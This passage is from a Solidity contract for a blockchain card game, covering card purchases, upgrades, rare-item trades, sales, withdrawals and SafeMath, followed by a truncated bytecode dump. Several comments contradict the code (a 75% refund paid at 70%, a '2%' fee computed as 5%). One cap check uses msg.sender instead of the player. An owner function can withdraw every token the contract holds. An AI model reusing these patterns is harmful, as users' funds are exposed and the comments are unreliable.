cards.setUintCoinProduction(msg.sender,unitId,cards.getUnitsProduction(msg.sender, unitId, amount),true);
}
//players
if (cards.getUintsOwnerCount(msg.sender)<=0) {
cards.AddPlayers(msg.sender);
}
cards.setUintsOwnerCount(msg.sender,amount,true);
cards.setOwnedCount(msg.sender,unitId,amount,true);
UnitBought(msg.sender, unitId, amount);
}
function buyBasicCards_Migrate(address _addr, uint256 _unitId, uint256 _amount) external onlyAdmin {
require(cards.getGameStarted());
require(_amount>=1);
uint256 existing = cards.getOwnedCount(_addr,_unitId);
uint256 total = SafeMath.add(existing, _amount);
if (total > 99) { // Default unit limit
require(total <= cards.getMaxCap(_addr,_unitId)); // Housing upgrades (allow more units)
}
require (_unitId == 41);
uint256 coinCost;
uint256 ethCost;
(, coinCost, ethCost,) = schema.getBattleCardInfo(_unitId, existing, _amount);
//players
if (cards.getUintsOwnerCount(_addr)<=0) {
cards.AddPlayers(_addr);
}
cards.setUintsOwnerCount(_addr,_amount,true);
cards.setOwnedCount(_addr,_unitId,_amount,true);
UnitBought(_addr, _unitId, _amount);
}
function buyPLATCards(address _player, uint256 _platValue, uint256 _cardId, uint256 _amount) internal {
require(cards.getGameStarted());
require(_amount>=1);
uint256 existing = cards.getOwnedCount(_player,_cardId);
uint256 total = SafeMath.add(existing, _amount);
if (total > 99) { // Default unit limit
require(total <= cards.getMaxCap(msg.sender,_cardId)); // Housing upgrades (allow more units)
}
uint256 coinProduction;
uint256 coinCost;
uint256 ethCost;
if (_cardId>=1 && _cardId<=39) {
coinProduction = schema.unitCoinProduction(_cardId);
coinCost = schema.getCostForCards(_cardId, existing, _amount);
ethCost = SafeMath.mul(schema.unitPLATCost(_cardId),_amount); // get platprice
} else if (_cardId>=40) {
coinCost = schema.getCostForBattleCards(_cardId, existing, _amount);
ethCost = SafeMath.mul(schema.unitBattlePLATCost(_cardId),_amount); // get platprice
}
require(ethCost>0);
require(SafeMath.add(cards.coinBalanceOf(_player,1),_platValue) >= ethCost);
require(cards.balanceOf(_player) >= coinCost);
// Update players jade
cards.updatePlayersCoinByPurchase(_player, coinCost);
if (ethCost > _platValue) {
cards.setCoinBalance(_player,SafeMath.sub(ethCost,_platValue),1,false);
} else if (_platValue > ethCost) {
// Store overbid in their balance
cards.setCoinBalance(_player,SafeMath.sub(_platValue,ethCost),1,true);
}
uint256 devFund = uint256(SafeMath.div(ethCost,20)); // 5% fee
cards.setTotalEtherPool(uint256(SafeMath.div(ethCost,4)),1,true); // 20% to pool
cards.setCoinBalance(owner,devFund,1,true);
if (coinProduction > 0) {
cards.increasePlayersJadeProduction(_player, cards.getUnitsProduction(_player, _cardId, _amount));
cards.setUintCoinProduction(_player,_cardId,cards.getUnitsProduction(_player, _cardId, _amount),true);
}
if (cards.getUintsOwnerCount(_player)<=0) {
cards.AddPlayers(_player);
}
cards.setUintsOwnerCount(_player,_amount, true);
cards.setOwnedCount(_player,_cardId,_amount,true);
unitsOwnedOfPLAT[_player][_cardId] = SafeMath.add(unitsOwnedOfPLAT[_player][_cardId],_amount);
//event
UnitBought(_player, _cardId, _amount);
}
/// buy upgrade cards with ether/Jade
function buyUpgradeCard(uint256 upgradeId) external payable {
require(cards.getGameStarted());
require(upgradeId>=1);
uint256 existing = cards.getUpgradesOwned(msg.sender,upgradeId);
uint256 coinCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(coinCost, ethCost, upgradeClass, unitId, upgradeValue,) = schema.getUpgradeCardsInfo(upgradeId,existing);
if (upgradeClass<8) {
require(existing<=5);
} else {
require(existing<=2);
}
require (coinCost>0 && ethCost==0);
require(cards.balanceOf(msg.sender) >= coinCost);
cards.updatePlayersCoinByPurchase(msg.sender, coinCost);
cards.upgradeUnitMultipliers(msg.sender, upgradeClass, unitId, upgradeValue);
cards.setUpgradesOwned(msg.sender,upgradeId); //upgrade cards level
UpgradeCardBought(msg.sender, upgradeId);
}
/// upgrade cards-- jade + plat
function buyUpgradeCard(address _player, uint256 _platValue,uint256 _upgradeId) internal {
require(cards.getGameStarted());
require(_upgradeId>=1);
uint256 existing = cards.getUpgradesOwned(_player,_upgradeId);
require(existing<=5); // v1 - v6
uint256 coinCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
uint256 platCost;
(coinCost, ethCost, upgradeClass, unitId, upgradeValue,platCost) = schema.getUpgradeCardsInfo(_upgradeId,existing);
require(platCost>0);
if (platCost > 0) {
require(SafeMath.add(cards.coinBalanceOf(_player,1),_platValue) >= platCost);
if (platCost > _platValue) { // They can use their balance instead
cards.setCoinBalance(_player, SafeMath.sub(platCost,_platValue),1,false);
} else if (platCost < _platValue) {
cards.setCoinBalance(_player,SafeMath.sub(_platValue,platCost),1,true);
}
// defund 5%,upgrade card can not be sold,
uint256 devFund = uint256(SafeMath.div(platCost, 20)); // 5% fee on purchases (marketing, gameplay & maintenance)
cards.setTotalEtherPool(SafeMath.sub(platCost,devFund),1,true); // Rest goes to div pool (Can't sell upgrades)
cards.setCoinBalance(owner,devFund,1,true);
}
// Update
require(cards.balanceOf(_player) >= coinCost);
cards.updatePlayersCoinByPurchase(_player, coinCost);
//add weight
cards.upgradeUnitMultipliers(_player, upgradeClass, unitId, upgradeValue);
cards.setUpgradesOwned(_player,_upgradeId); // upgrade level up
//add user to userlist
if (cards.getUintsOwnerCount(_player)<=0) {
cards.AddPlayers(_player);
}
UpgradeCardBought(_player, _upgradeId);
}
// Allows someone to send ether and obtain the token
function buyRareItem(address _player, uint256 _platValue,uint256 _rareId) internal {
require(cards.getGameStarted());
address previousOwner = rare.getRareItemsOwner(_rareId); // rare card
require(previousOwner != 0);
require(_player!=previousOwner); // can not buy from itself
uint256 ethCost = rare.getRareItemsPLATPrice(_rareId); // get plat cost
uint256 totalCost = SafeMath.add(cards.coinBalanceOf(_player,1),_platValue);
require(totalCost >= ethCost);
// We have to claim buyer/sellder's goo before updating their production values
cards.updatePlayersCoinByOut(_player);
cards.updatePlayersCoinByOut(previousOwner);
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(,,,,upgradeClass, unitId, upgradeValue) = rare.getRarePLATInfo(_rareId);
// modify weight
cards.upgradeUnitMultipliers(_player, upgradeClass, unitId, upgradeValue);
cards.removeUnitMultipliers(previousOwner, upgradeClass, unitId, upgradeValue);
// Splitbid/Overbid
if (ethCost > _platValue) {
cards.setCoinBalance(_player,SafeMath.sub(ethCost,_platValue),1,false);
} else if (_platValue > ethCost) {
// Store overbid in their balance
cards.setCoinBalance(_player,SafeMath.sub(_platValue,ethCost),1,true);
}
// Distribute ethCost uint256 devFund = ethCost / 50;
uint256 devFund = uint256(SafeMath.div(ethCost, 20)); // 5% fee on purchases (marketing, gameplay & maintenance) 抽成2%
uint256 dividends = uint256(SafeMath.div(ethCost,20)); // 5% goes to pool
cards.setTotalEtherPool(dividends,1,true); // 5% to pool
cards.setCoinBalance(owner,devFund,1,true); // 5% fee
// Transfer / update rare item
rare.transferToken(previousOwner,_player,_rareId);
rare.setRarePrice(_rareId,SafeMath.div(SafeMath.mul(rare.getRareItemsPrice(_rareId),5),4));
cards.setCoinBalance(previousOwner,SafeMath.sub(ethCost,SafeMath.add(dividends,devFund)),1,true);
if (cards.getUintsOwnerCount(_player)<=0) {
cards.AddPlayers(_player);
}
cards.setUintsOwnerCount(_player,1,true);
cards.setUintsOwnerCount(previousOwner,1,true);
//tell the world
BuyRareCard(_player, previousOwner, _rareId, ethCost);
}
/// refunds 75% since no transfer between bitguild and player,no need to call approveAndCall
function sellCards( uint256 _unitId, uint256 _amount) external {
require(cards.getGameStarted());
uint256 existing = cards.getOwnedCount(msg.sender,_unitId);
require(existing >= _amount && _amount>0);
existing = SafeMath.sub(existing,_amount);
uint256 coinChange;
uint256 decreaseCoin;
uint256 schemaUnitId;
uint256 coinProduction;
uint256 coinCost;
uint256 ethCost;
bool sellable;
if (_unitId>=40) { // upgrade card
(schemaUnitId,coinCost,, sellable) = schema.getBattleCardInfo(_unitId, existing, _amount);
ethCost = SafeMath.mul(schema.unitBattlePLATCost(_unitId),_amount);
} else {
(schemaUnitId, coinProduction, coinCost, , sellable) = schema.getCardInfo(_unitId, existing, _amount);
ethCost = SafeMath.mul(schema.unitPLATCost(_unitId),_amount); // plat
}
require(sellable); // can be refunded
if (ethCost>0) {
require(unitsOwnedOfPLAT[msg.sender][_unitId]>=_amount);
}
if (coinCost>0) {
coinChange = SafeMath.add(cards.balanceOfUnclaimed(msg.sender), SafeMath.div(SafeMath.mul(coinCost,70),100)); // Claim unsaved goo whilst here
} else {
coinChange = cards.balanceOfUnclaimed(msg.sender);
}
cards.setLastJadeSaveTime(msg.sender);
cards.setRoughSupply(coinChange);
cards.setJadeCoin(msg.sender, coinChange, true); // refund 75% Jadecoin to player
decreaseCoin = cards.getUnitsInProduction(msg.sender, _unitId, _amount);
if (coinProduction > 0) {
cards.reducePlayersJadeProduction(msg.sender, decreaseCoin);
//update the speed of jade minning
cards.setUintCoinProduction(msg.sender,_unitId,decreaseCoin,false);
}
if (ethCost > 0) { // Premium units sell for 75% of buy cost
cards.setCoinBalance(msg.sender,SafeMath.div(SafeMath.mul(ethCost,70),100),1,true);
}
cards.setOwnedCount(msg.sender,_unitId,_amount,false);
cards.setUintsOwnerCount(msg.sender,_amount,false);
if (ethCost>0) {
unitsOwnedOfPLAT[msg.sender][_unitId] = SafeMath.sub(unitsOwnedOfPLAT[msg.sender][_unitId],_amount);
}
//tell the world
UnitSold(msg.sender, _unitId, _amount);
}
//@notice for player withdraw
function withdrawEtherFromTrade(uint256 amount) external {
require(amount <= cards.coinBalanceOf(msg.sender,1));
cards.setCoinBalance(msg.sender,amount,1,false);
tokenContract.transfer(msg.sender,amount);
}
//@notice withraw all PLAT by dev
function withdrawToken(uint256 amount) external onlyOwner {
uint256 balance = tokenContract.balanceOf(this);
require(balance > 0 && balance >= amount);
tokenContract.transfer(msg.sender, amount);
}
function getCanSellUnit(address _address, uint256 unitId) external view returns (uint256) {
return unitsOwnedOfPLAT[_address][unitId];
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6060604052600436106101035763ffffffff60e060020a6000350416630865dadc81146101085780633702ab031461012e57806341c0e1b51461014757806350baa6221461015a57806355a373d61461017057806358a4903f1461019f57806363c78e87146101b25780636bb7b7a4146101c85780636cdb1b75146101db5780636fb642de146101fa578063727b42761461021e57806376f2ccb91461023d57806383a12de91461025c578063845b6aca1461027b5780638da5cb5b146102a05780638f4ffcb1146102b35780639a5c0abc146102e9578063a16e68d614610302578063c3059c6314610336578063f2fde38b14610341578063f8895cc814610360575b600080fd5b341561011357600080fd5b61012c600160a060020a03600435166024351515610373565b005b341561013957600080fd5b61012c6004356024356103ce565b341561015257600080fd5b61012c610b43565b341561016557600080fd5b61012c600435610c3f565b341561017b57600080fd5b610183610d4f565b604051600160a060020a03909116815260200160405180910390f35b34156101aa57600080fd5b610183610d5e565b34156101bd57600080fd5b61012c600435610d6d565b34156101d357600080fd5b610183610ed7565b34156101e657600080fd5b61012c600160a060020a0360043516610ee6565b341561020557600080fd5b61012c600160a060020a03600435166024351515610f30565b341561022957600080fd5b61012c600160a060020a0360043516610f82565b341561024857600080fd5b61012c600160a060020a0360043516610fcc565b341561026757600080fd5b61012c600160a060020a0360043516611016565b341561028657600080fd5b61012c600160a060020a0360043516602435604435611060565b34156102ab57600080fd5b6101836114ab565b34156102be57600080fd5b61012c60048035600160a060020a0390811691602480359260443516916064359182019101356114ba565b34156102f457600080fd5b61012c6004356024356115fd565b341561030d57600080fd5b610324600160a060020a0360043516602435611ef9565b60405190815260200160405180910390f35b61012c600435611f21565b341561034c57600080fd5b61012c600160a060020a03600435166122e6565b341561036b57600080fd5b610183612381565b60005433600160a060020a0390811691161461038e57600080fd5b600160a060020a03821615156103a357600080fd5b600160a060020a03919091166000908152600160205260409020805460ff1916911515919091179055565b6004546000908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561041857600080fd5b5af1151561042557600080fd5b50505060405180519050151561043a57600080fd5b600186101561044857600080fd5b600454600160a060020a031663196ecd25338960405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561049e57600080fd5b5af115156104ab57600080fd5b5050506040518051905094506104c18587612390565b9350606384111561054557600454600160a060020a031663969ddd71338960405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561052257600080fd5b5af1151561052f57600080fd5b5050506040518051851115905061054557600080fd5b60018710158015610557575060278711155b156105f157600554600160a060020a031663ee4827ea88878960405160e060020a63ffffffff861602815260048101939093526024830191909152604482015260640160a060405180830381600087803b15156105b357600080fd5b5af115156105c057600080fd5b5050506040518051906020018051906020018051906020018051906020018051509296509094509250610680915050565b6028871061068057600554600160a060020a031663b2570b1c88878960405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401608060405180830381600087803b151561065057600080fd5b5af1151561065d57600080fd5b505050604051805190602001805190602001805190602001805150919450925050505b6004548290600160a060020a03166370a082313360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156106d257600080fd5b5af115156106df57600080fd5b50505060405180519050101515156106f657600080fd5b801561070157600080fd5b600454600160a060020a031663a1c90a11338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561075757600080fd5b5af1151561076457600080fd5b505050600083111561092457600454600160a060020a03166379c310a63382632d171243828c8c60405160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091526044820152606401602060405180830381600087803b15156107d657600080fd5b5af115156107e357600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561083057600080fd5b5af1151561083d57600080fd5b5050600454600160a060020a0316905063ce29555f338983632d17124383838d60405160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091526044820152606401602060405180830381600087803b15156108a857600080fd5b5af115156108b557600080fd5b50505060405180519050600160405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b151561091357600080fd5b5af1151561092057600080fd5b5050505b600454600090600160a060020a031663a436e33b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561097757600080fd5b5af1151561098457600080fd5b505050604051805190501115156109f657600454600160a060020a031663f7fb0a4b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156109e557600080fd5b5af115156109f257600080fd5b5050505b600454600160a060020a031663fc4756df3388600160405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b1515610a5857600080fd5b5af11515610a6557600080fd5b5050600454600160a060020a0316905063e7001b84338989600160405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b1515610ad157600080fd5b5af11515610ade57600080fd5b5050507fb6d35f558a34938047f09ebf800fa2e15ec407c357a8eab97a5dd67b4d015b5b3388886040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a150505050505050565b60005433600160a060020a03908116911614610b5e57600080fd5b600354600160a060020a03166323b872dd3033836370a082318360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610bb657600080fd5b5af11515610bc357600080fd5b5050506040518051905060405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610c1c57600080fd5b5af11515610c2957600080fd5b50505060405180515050600160a060020a033316ff5b6000805433600160a060020a03908116911614610c5b57600080fd5b600354600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610cab57600080fd5b5af11515610cb857600080fd5b5050506040518051915050600081118015610cd35750818110155b1515610cde57600080fd5b600354600160a060020a031663a9059cbb338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d3457600080fd5b5af11515610d4157600080fd5b505050604051805150505050565b600354600160a060020a031681565b600454600160a060020a031681565b600454600160a060020a031663e8d320e633600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015260ff166024820152604401602060405180830381600087803b1515610dc757600080fd5b5af11515610dd457600080fd5b50505060405180518211159050610dea57600080fd5b600454600160a060020a0316635460554933836001600060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515610e5657600080fd5b5af11515610e6357600080fd5b5050600354600160a060020a0316905063a9059cbb338360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ebd57600080fd5b5af11515610eca57600080fd5b5050506040518051505050565b600654600160a060020a031681565b60005433600160a060020a03908116911614610f0157600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03331660009081526001602052604090205460ff161515610f5757600080fd5b600160a060020a03919091166000908152600260205260409020805460ff1916911515919091179055565b60005433600160a060020a03908116911614610f9d57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610fe757600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461103157600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03331660009081526001602052604081205481908190819060ff16151561108d57600080fd5b600454600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156110cc57600080fd5b5af115156110d957600080fd5b5050506040518051905015156110ee57600080fd5b60018510156110fc57600080fd5b600454600160a060020a031663196ecd25888860405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561115257600080fd5b5af1151561115f57600080fd5b5050506040518051905093506111758486612390565b925060638311156111f957600454600160a060020a031663969ddd71888860405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156111d657600080fd5b5af115156111e357600080fd5b505050604051805184111590506111f957600080fd5b6029861461120657600080fd5b600554600160a060020a031663b2570b1c87868860405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401608060405180830381600087803b151561125d57600080fd5b5af1151561126a57600080fd5b50505060405180519060200180519060200180519060200180515050600454919450925060009150600160a060020a031663a436e33b8960405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156112df57600080fd5b5af115156112ec57600080fd5b5050506040518051905011151561135e57600454600160a060020a031663f7fb0a4b8860405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561134d57600080fd5b5af1151561135a57600080fd5b5050505b600454600160a060020a031663fc4756df8887600160405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b15156113c057600080fd5b5af115156113cd57600080fd5b5050600454600160a060020a0316905063e7001b84888888600160405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b151561143957600080fd5b5af1151561144657600080fd5b5050507fb6d35f558a34938047f09ebf800fa2e15ec407c357a8eab97a5dd67b4d015b5b8787876040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a150505050505050565b600054600160a060020a031681565b600080600085600160a060020a031633600160a060020a03161415156114df57600080fd5b60018410156114ed57600080fd5b600354600160a060020a03166323b872dd89308a60405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561155057600080fd5b5af1151561155d57600080fd5b50505060405180519050151561157257600080fd5b6115aa85858080601f0160208091040260200160405190810160405281815292919060208401838380828437506123aa945050505050565b9194509250905060018314156115cb576115c68888848461249c565b6115f3565b82600314156115df576115c6888884613008565b82600414156115f3576115f3888884613735565b5050505050505050565b6004546000908190819081908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561164d57600080fd5b5af1151561165a57600080fd5b50505060405180519050151561166f57600080fd5b600454600160a060020a031663196ecd25338c60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156116c557600080fd5b5af115156116d257600080fd5b50505060405180519850508888108015906116ed5750600089115b15156116f857600080fd5b611702888a614148565b975060288a1061180757600554600160a060020a031663b2570b1c8b8a8c60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401608060405180830381600087803b151561176357600080fd5b5af1151561177057600080fd5b505050604051805190602001805190602001805190602001805160055494995092965091935061180092600160a060020a0316915063b6206e6790508c60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156117e357600080fd5b5af115156117f057600080fd5b505050604051805190508a61415a565b91506118ea565b600554600160a060020a031663ee4827ea8b8a8c60405160e060020a63ffffffff861602815260048101939093526024830191909152604482015260640160a060405180830381600087803b151561185e57600080fd5b5af1151561186b57600080fd5b5050506040518051906020018051906020018051906020018051906020018051600554959a509398509196509193506118e792600160a060020a0316915063fbe45b4890508c60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156117e357600080fd5b91505b8015156118f657600080fd5b600082111561193057600160a060020a03331660009081526007602090815260408083208d84529091529020548990101561193057600080fd5b60008311156119c5576004546119be90600160a060020a0316634676b8973360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561198d57600080fd5b5af1151561199a57600080fd5b505050604051805190506119b96119b286604661415a565b6064614185565b612390565b9650611a2e565b600454600160a060020a0316634676b8973360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611a1557600080fd5b5af11515611a2257600080fd5b50505060405180519750505b600454600160a060020a031663176854f63360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515611a7e57600080fd5b5af11515611a8b57600080fd5b5050600454600160a060020a0316905063448a0ceb8860405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515611ad757600080fd5b5af11515611ae457600080fd5b5050600454600160a060020a0316905063a6678b603389600160405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b1515611b4a57600080fd5b5af11515611b5757600080fd5b5050600454600160a060020a031690506397ce3a4b338c8c60405160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091526044820152606401602060405180830381600087803b1515611bba57600080fd5b5af11515611bc757600080fd5b50505060405180519650506000841115611cbb57600454600160a060020a031663396e70e0338860405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515611c3157600080fd5b5af11515611c3e57600080fd5b5050600454600160a060020a0316905063ce29555f338c89600060405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b1515611caa57600080fd5b5af11515611cb757600080fd5b5050505b6000821115611d4d57600454600160a060020a0316635460554933611ce46119b286604661415a565b60018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515611d3c57600080fd5b5af11515611d4957600080fd5b5050505b600454600160a060020a031663e7001b84338c8c600060405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b1515611db557600080fd5b5af11515611dc257600080fd5b5050600454600160a060020a0316905063fc4756df338b600060405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b1515611e2857600080fd5b5af11515611e3557600080fd5b5050506000821115611e9457600160a060020a03331660009081526007602090815260408083208d8452909152902054611e6f908a614148565b600160a060020a03331660009081526007602090815260408083208e84529091529020555b7f9c8076df639d56f1ef3ca3d4d8dc6ed089f8c4756bc5bf5d574f1cec4ef13c54338b8b6040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a150505050505050505050565b600160a060020a03919091166000908152600760209081526040808320938352929052205490565b60045460009081908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611f6d57600080fd5b5af11515611f7a57600080fd5b505050604051805190501515611f8f57600080fd5b6001871015611f9d57600080fd5b600454600160a060020a031663e946ad4a338960405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611ff357600080fd5b5af1151561200057600080fd5b5050506040518051600554909750600160a060020a031690506373f9421d888860405160e060020a63ffffffff85160281526004810192909252602482015260440160c060405180830381600087803b151561205b57600080fd5b5af1151561206857600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805150949950929750909550935091505060088310156120b95760058611156120b457600080fd5b6120c7565b60028611156120c757600080fd5b6000851180156120d5575083155b15156120e057600080fd5b6004548590600160a060020a03166370a082313360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561213257600080fd5b5af1151561213f57600080fd5b505050604051805190501015151561215657600080fd5b600454600160a060020a031663a1c90a11338760405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156121ac57600080fd5b5af115156121b957600080fd5b5050600454600160a060020a03169050635edc9bff3385858560405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b151561222257600080fd5b5af1151561222f57600080fd5b5050600454600160a060020a03169050632a288272338960405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561228957600080fd5b5af1151561229657600080fd5b5050507f5923958ad0a0f9e2754b81ea1c7483dcdd7481e51b34ee4846bdaa6d5403c3453388604051600160a060020a03909216825260208201526040908101905180910390a150505050505050565b60005433600160a060020a0390811691161461230157600080fd5b600160a060020a038116151561231657600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b60008282018381101561239f57fe5b8091505b5092915050565b600080600083516002141561241257836000815181106123c657fe5b016020015160f860020a900460f860020a0260f860020a90049250836001815181106123ee57fe5b016020015160f860020a900460f860020a0260f860020a9004915060019050612495565b835160031415612495578360008151811061242957fe5b016020015160f860020a900460f860020a0260f860020a900492508360018151811061245157fe5b016020015160f860020a900460f860020a0260f860020a900491508360028151811061247957fe5b016020015160f860020a900460f860020a0260f860020a900490505b9193909250565b60045460009081908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156124e857600080fd5b5af115156124f557600080fd5b50505060405180519050151561250a57600080fd5b600187101561251857600080fd5b600454600160a060020a031663196ecd258b8a60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561256e57600080fd5b5af1151561257b57600080fd5b5050506040518051905095506125918688612390565b9450606385111561261557600454600160a060020a031663969ddd71338a60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156125f257600080fd5b5af115156125ff57600080fd5b5050506040518051861115905061261557600080fd5b60018810158015612627575060278811155b1561276e57600554600160a060020a031663702123ae8960405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561267457600080fd5b5af1151561268157600080fd5b5050506040518051600554909550600160a060020a0316905063320cffcd89888a60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401602060405180830381600087803b15156126e557600080fd5b5af115156126f257600080fd5b50505060405180516005549094506127679150600160a060020a031663fbe45b488a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561274a57600080fd5b5af1151561275757600080fd5b505050604051805190508861415a565b9150612835565b6028881061283557600554600160a060020a031663a8aeecd989888a60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401602060405180830381600087803b15156127cd57600080fd5b5af115156127da57600080fd5b50505060405180516005549094506128329150600160a060020a031663b6206e678a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561274a57600080fd5b91505b6000821161284257600080fd5b60045482906128bf90600160a060020a031663e8d320e68d600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015260ff166024820152604401602060405180830381600087803b15156128a257600080fd5b5af115156128af57600080fd5b505050604051805190508b612390565b10156128ca57600080fd5b6004548390600160a060020a03166370a082318c60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561291c57600080fd5b5af1151561292957600080fd5b505050604051805190501015151561294057600080fd5b600454600160a060020a031663a1c90a118b8560405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561299657600080fd5b5af115156129a357600080fd5b50505088821115612a3857600454600160a060020a031663546055498b6129ca858d614148565b6001600060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515612a2357600080fd5b5af11515612a3057600080fd5b505050612ac5565b81891115612ac557600454600160a060020a031663546055498b612a5c8c86614148565b60018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515612ab457600080fd5b5af11515612ac157600080fd5b5050505b612ad0826014614185565b60048054919250600160a0600